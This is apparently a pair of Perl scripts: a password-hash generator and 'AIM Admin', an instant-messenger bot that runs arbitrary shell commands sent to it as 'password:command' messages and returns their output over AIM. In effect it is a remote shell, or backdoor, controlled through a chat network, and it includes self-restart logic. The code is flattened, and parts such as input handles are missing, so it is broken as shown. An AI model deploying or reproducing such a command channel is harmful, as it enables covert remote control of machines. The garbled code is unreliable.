#!/usr/bin/perl # encrypted hash generator for AIM Admin # by grimR@crypt.cc print 'Password: '; chomp($pass = ); $try = "$pass"; $encrypted = crypt $try,MD5; print 'Your hash is: '; print "\n"; print $encrypted; print "\n"; #### #!/usr/bin/perl # AIM Admin v.01 # coded by grimR of crypt.cc # Crypt website: http://www.crypt.cc use Net::OSCAR qw(:standard); $screenname = "controlledscreenname"; # AIM Admin's screen name $password = 'botpass'; # password for screen name $cmdtmp = "cmd.tmp"; # temp command log $servlog = "srv.log"; # log file for access $version = ".1"; # access ONLY to this screen name $botloc = '/home/grim/perl/aim.pl'; # full path to this file $perll = '/usr/bin/perl'; # full path to perl $owenr = 'masterscreennamehere'; $pass = 'mdj7KDOIk6FjY'; # hash of encrypted pass @incorrect = "ACCESS DENIED"; # message for unauthorized sub error { my($accessp, $connection, $errno, $error, $fatal) = @_; if($fatal) { sleep 2; exec("$perll $botloc") or print STDERR "couldnt exec $botloc: $!"; } else { print STDERR "Error $errno: $error\n"; } } sub on_attempt { my($accessp, $sender, $message) = @_; if(1) { open(ATTEMPT, '>', "atp.tmp"); print ATTEMPT "$message"; close(ATTEMPT); open(TRY, '<', "atp.tmp"); $try = ; @trying = split(/:/, $try); close(TRY); $encrypted = crypt($trying[0], $pass); if ($encrypted eq $pass) { $accessp->send_im("$sender", 'Output: '); open(LOG, '>>', "$servlog"); print LOG "$sender: $trying[1]\n"; $cm = "$trying[1]"; system("$cm >$cmdtmp"); open(CMDTMP, '<', "cmd.tmp"); @cmdo = ; close(CMDTMP); print "$sender: @cmdo"; $accessp->send_im("$sender","
@cmdo"); system("rm -rf cmd.tmp"); } else { print LOG "Unauthorized Attempt: $sender: $message\n"; $accessp->send_im("$sender", 'Access attempt logged'); $accessp->send_im("$sender", 'usage: password:command'); } } } sub signon_done($) { my $accessp = shift; print "AIM Admin v$version signed online and awaiting commands\n"; $accessp->send_im("$owenr","I await your command master"); } $accessp = Net::OSCAR->new(); $accessp->set_callback_error(\&error); $accessp->set_callback_im_in(\&on_attempt); $accessp->signon($screenname, $password); $accessp->set_callback_signon_done(\&signon_done); while(1) { $accessp->do_one_loop(); }